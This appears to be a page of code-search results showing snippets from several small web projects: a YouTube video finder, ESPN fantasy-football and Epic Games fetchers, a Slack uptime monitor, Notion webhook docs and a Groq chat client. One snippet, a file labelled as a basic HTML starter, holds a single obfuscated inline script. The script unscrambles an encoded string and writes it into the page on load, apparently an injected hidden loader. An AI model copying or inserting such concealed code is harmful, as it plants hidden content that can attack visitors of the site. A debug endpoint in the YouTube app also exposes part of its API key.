TopTenVideosapp.js10 matches
19
20async handleTestKey() {
21const testKeyInput = document.getElementById('test-api-key');
22const testKeyBtn = document.getElementById('test-key-btn');
23const resultDiv = document.getElementById('key-test-result');
24const apiKey = testKeyInput.value.trim();
25
26if (!apiKey) {
27this.showKeyTestResult('Please enter an API key to test', 'error');
28return;
29}
32testKeyBtn.textContent = 'Testing...';
33resultDiv.className = 'mt-3 p-3 bg-gray-100 rounded text-sm';
34resultDiv.innerHTML = '🔄 Testing API key...';
35resultDiv.classList.remove('hidden');
36
37try {
38const response = await fetch('/api/test-key', {
39method: 'POST',
40headers: { 'Content-Type': 'application/json' },
41body: JSON.stringify({ apiKey })
42});
43const data = await response.json();
44
45if (data.success) {
46this.showKeyTestResult(`✅ API key is valid! Found ${data.sampleData.videoCount} video(s).`, 'success');
47} else {
48this.showKeyTestResult(`❌ API key failed: ${data.error}`, 'error');
49}
50} catch (error) {
84
85try {
86const response = await fetch(`/api/videos?niche=${encodeURIComponent(niche)}`);
87const data = await response.json();
88
TopTenVideosindex.ts34 matches
73});
7475// API key tester endpoint
76app.post("/api/test-key", async (c) => {
77const body = await c.req.json();
78const testKey = body.apiKey;
79
80if (!testKey) {
81return c.json({ error: "API key is required" }, 400);
82}
83
84try {
85const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${testKey}`;
86const testResponse = await fetch(testUrl);
87const responseData = await testResponse.json();
90return c.json({
91success: true,
92message: "API key is valid and working!",
93sampleData: {
94videoCount: responseData.items?.length || 0,
111}
112});
113app.get("/api/debug", async (c) => {
114const apiKey = Deno.env.get("YOUTUBE_API_KEY");
115
116if (!apiKey) {
117return c.json({
118hasApiKey: false,
119message: "No API key found in environment variables"
120});
121}
122
123// Test the API key with a simple request
124try {
125const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${apiKey}`;
126const testResponse = await fetch(testUrl);
127const responseText = await testResponse.text();
128
129return c.json({
130hasApiKey: true,
131keyLength: apiKey.length,
132keyPrefix: apiKey.substring(0, 8) + "...",
133testStatus: testResponse.status,
134testOk: testResponse.ok,
135testResponse: testResponse.ok ? "API key works!" : responseText.substring(0, 500)
136});
137} catch (error) {
138return c.json({
139hasApiKey: true,
140keyLength: apiKey.length,
141keyPrefix: apiKey.substring(0, 8) + "...",
142testError: error.message
143});
145});
146147// API endpoint to search YouTube videos
148app.get("/api/videos", async (c) => {
149const niche = c.req.query("niche");
150const apiKey = Deno.env.get("YOUTUBE_API_KEY");
151
152if (!niche) {
154}
155
156if (!apiKey) {
157return c.json({ error: "YouTube API key not configured" }, 500);
158}
159
160try {
161// Search for videos
162const searchUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=${encodeURIComponent(niche)}&type=video&order=relevance&maxResults=10&key=${apiKey}`;
163
164const searchResponse = await fetch(searchUrl);
165if (!searchResponse.ok) {
166const errorText = await searchResponse.text();
167console.error(`YouTube API error details:`, errorText);
168
169// Parse error for better user feedback
170try {
171const errorData = JSON.parse(errorText);
172if (errorData.error?.message?.includes("API key not valid")) {
173return c.json({
174error: "Invalid YouTube API Key",
175details: "Your API key is not valid. Please check that:\n1. The API key is correct\n2. YouTube Data API v3 is enabled for your project\n3. The API key has the proper permissions"
176}, 400);
177}
178if (errorData.error?.message?.includes("quota")) {
179return c.json({
180error: "YouTube API Quota Exceeded",
181details: "You've reached your daily quota limit. Try again tomorrow or upgrade your quota."
182}, 429);
183}
184return c.json({
185error: "YouTube API Error",
186details: errorData.error?.message || `HTTP ${searchResponse.status}`
187}, searchResponse.status);
188} catch {
189return c.json({
190error: "YouTube API Error",
191details: `HTTP ${searchResponse.status}: ${errorText}`
192}, searchResponse.status);
200
201// Get video statistics and duration
202const detailsUrl = `https://www.googleapis.com/youtube/v3/videos?part=statistics,contentDetails&id=${videoIds}&key=${apiKey}`;
203
204const detailsResponse = await fetch(detailsUrl);
untitled-2035main.ts3 matches
51const [nflResponse, fantasyResponse] = await Promise.all([
52fetch(
53"http://site.api.espn.com/apis/site/v3/sports/football/nfl/scoreboard",
54),
55fetch(
56`https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=mMatchup&view=mMatchupScore&view=mTeam&view=mRoster&view=mLiveScoring&scoringPeriodId=${currentWeek}`,
57{
58headers: {
311// Use kona_player_info view to get ALL players including free agents
312const allPlayersUrl =
313`https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=kona_player_info&scoringPeriodId=${week}`;
314315const allPlayersResponse = await fetch(allPlayersUrl, {
1415const response = await fetch(
16"https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dandroid%26start%3D0%26store%3DEGS",
17);
18const json = await response.json();
1415const response = await fetch(
16"https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dios%26start%3D0%26store%3DEGS",
17);
18const json = await response.json();
PixelPixelApiMonitormain.ts10 matches
3const channel = "C060TG0KLQJ";
45const middlewareApiResponse = await fetch(
6"https://api.pixelpixel.site/api/v1",
7);
8console.log("Middleware API Status:", middlewareApiResponse.status);
910if (!middlewareApiResponse.ok) {
11const slackResponse = await sendSlackMessage(
12`https://api.pixelpixel.site/api/v1 returns an error: *${middlewareApiResponse.status}* - *${middlewareApiResponse.statusText}*.
1314Check the _Droplet Dashboard_.`,
17}
1819const horizonApiResponse = await fetch(
20"https://preview-horizon-backend.pixelpixel.site/",
21);
22console.log("Horizon API Status:", horizonApiResponse.status);
23if (!horizonApiResponse.ok) {
24const slackResponse = await sendSlackMessage(
25`Horizon preview backend appears to be down (${horizonApiResponse.status} - ${horizonApiResponse.statusText}). https://preview-horizon-backend.pixelpixel.site.`,
26);
27console.log("Slack status", slackResponse.status);
2930async function sendSlackMessage(text: string) {
31return await fetch("https://slack.com/api/chat.postMessage", {
32headers: {
33Authorization: `Bearer ${SLACK_TOKEN}`,
basic-html-starterindex.html1 match
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
27Updates a Notion page's URL property with a glimpse URL.
2829**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
3031**Request Body:**
73```
7475500 - Notion API error:
76```json
77{
78"success": false,
79"error": "Failed to update Notion page with URL",
80"details": "Notion API error message"
81}
82```
85```bash
86curl -X POST https://your-val.web.val.run/tasks/url \
87-H "X-API-KEY: your-notion-webhook-secret" \
88-H "Content-Type: application/json" \
89-d '{"data": {"id": "your-page-id"}}'
94Assigns agents to demos based on Notion page assignments. Processes the "Assigned" property and creates agent blob assignments.
9596**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
9798**Request Body:**
160"success": false,
161"error": "Failed to fetch page data",
162"details": "Notion API error message"
163}
164```
175```bash
176curl -X POST https://your-val.web.val.run/tasks/assign \
177-H "X-API-KEY: your-notion-webhook-secret" \
178-H "Content-Type: application/json" \
179-d '{"data": {"id": "your-page-id"}}'
186**Test webhook receiver** - logs payload and returns success. Not for production use.
187188**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
189190**Response:**
197Test endpoint for webhook authentication.
198199**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
200201**Success Response (200):**
23// Initialize Notion client
4export const notion = new Client({ auth: Deno.env.get("NOTION_API_KEY") });
56// Standard response format for all Notion services
chatterchatterApp.js26 matches
1import { getI18n, getDateRangeText as i18nDateRangeText } from './i18n.js';
2import { getDisplaySourceName, getActualSearchSource, getActualSearchSourceName } from './chatterLib.js';
3import { checkServerKey as apiCheckServerKey, summarizePaper as apiSummarizePaper, postChatStreamSSE, postChatStream, postGroqChat } from './apiClient.js';
4import {
5initDb,
110summaryStates: {},
111hasServerKey: true,
112userApiKey: '',
113apiKeyInput: '',
114// Model selection
115selectedModel: 'openai/gpt-oss-120b',
279try { this.jobManager = new JobManager(); } catch (_) { /* ignore */ }
280
281// Load API key from localStorage
282const storedApiKey = localStorage.getItem('groq_api_key');
283if (storedApiKey) {
284this.userApiKey = storedApiKey;
285}
286// Load preferred model
323try { this.applyThemePreference(); } catch (_) { /* ignore */ }
324
325// Check if server has API key
326await this.checkServerKey();
327
812async checkServerKey() {
813try {
814const data = await apiCheckServerKey();
815this.hasServerKey = !!data.hasServerKey;
816} catch (error) {
820},
821822setApiKey() {
823if (this.apiKeyInput.trim()) {
824this.userApiKey = this.apiKeyInput.trim();
825localStorage.setItem('groq_api_key', this.userApiKey);
826this.apiKeyInput = '';
827}
828},
829830changeApiKey() {
831this.userApiKey = '';
832},
833834clearApiKey() {
835this.userApiKey = '';
836localStorage.removeItem('groq_api_key');
837},
8381128async onImportFileChange(e) { return dataIO.onImportFileChange(this, e); },
11291130get maskedApiKey() {
1131if (!this.userApiKey) return '';
1132const key = String(this.userApiKey || '').trim();
1133if (key.length <= 8) {
1134// Very short keys: show minimal hint
12431244try {
1245const data = await apiSummarizePaper({ url, title, language: this.selectedLanguage, userApiKey: this.userApiKey });
1246
1247if (data.error) {
1429return sp ? [{ role: 'system', content: sp }, ...chatMessages] : chatMessages;
1430})(),
1431userApiKey: this.userApiKey,
1432model: this.selectedModel,
1433reasoning_effort: this.reasoningEffort,
1547const text = (this.chatInput || '').trim(); if (!text) return;
1548this.errorMessage = '';
1549if (!this.hasServerKey && !this.userApiKey) { this.errorMessage = 'please add api key'; return; }
1550if (!this.currentChatId) { try { await coreEnsureChatExistsForEdits(this, { force: true }); } catch (_) {} }
1551const createdAt = Date.now();
1574return sp ? [{ role: 'system', content: sp }, ...chatMessages] : chatMessages;
1575})(),
1576userApiKey: this.userApiKey,
1577model: this.selectedModel,
1578reasoning_effort: this.reasoningEffort,